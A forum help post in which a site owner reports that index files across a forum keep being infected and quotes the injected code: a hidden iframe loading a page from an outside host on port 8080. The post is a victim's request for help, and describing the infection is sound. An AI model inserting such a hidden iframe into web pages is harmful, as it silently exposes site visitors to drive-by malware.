my forum is inficted with unknow virus

[ezak]

from month I face problem
that all my index* contan this code

PHP Code:

<iframe src="http://q1e.ru:8080/index.php" width=143 height=132 style="visibility: hidden"></iframe> 


its infect ./forum/index.php, /index.html (redirect to forum/index.php), /admincp/index.php. modcp/index.php ... and anyfile with index name will be infected


and its stop my forum
I removed alt of other scripts on that site, and scan for virus, and installed modsecuirty with most rules

and its happened again , and don't know why this problem, dose anyone know anything about this virus ?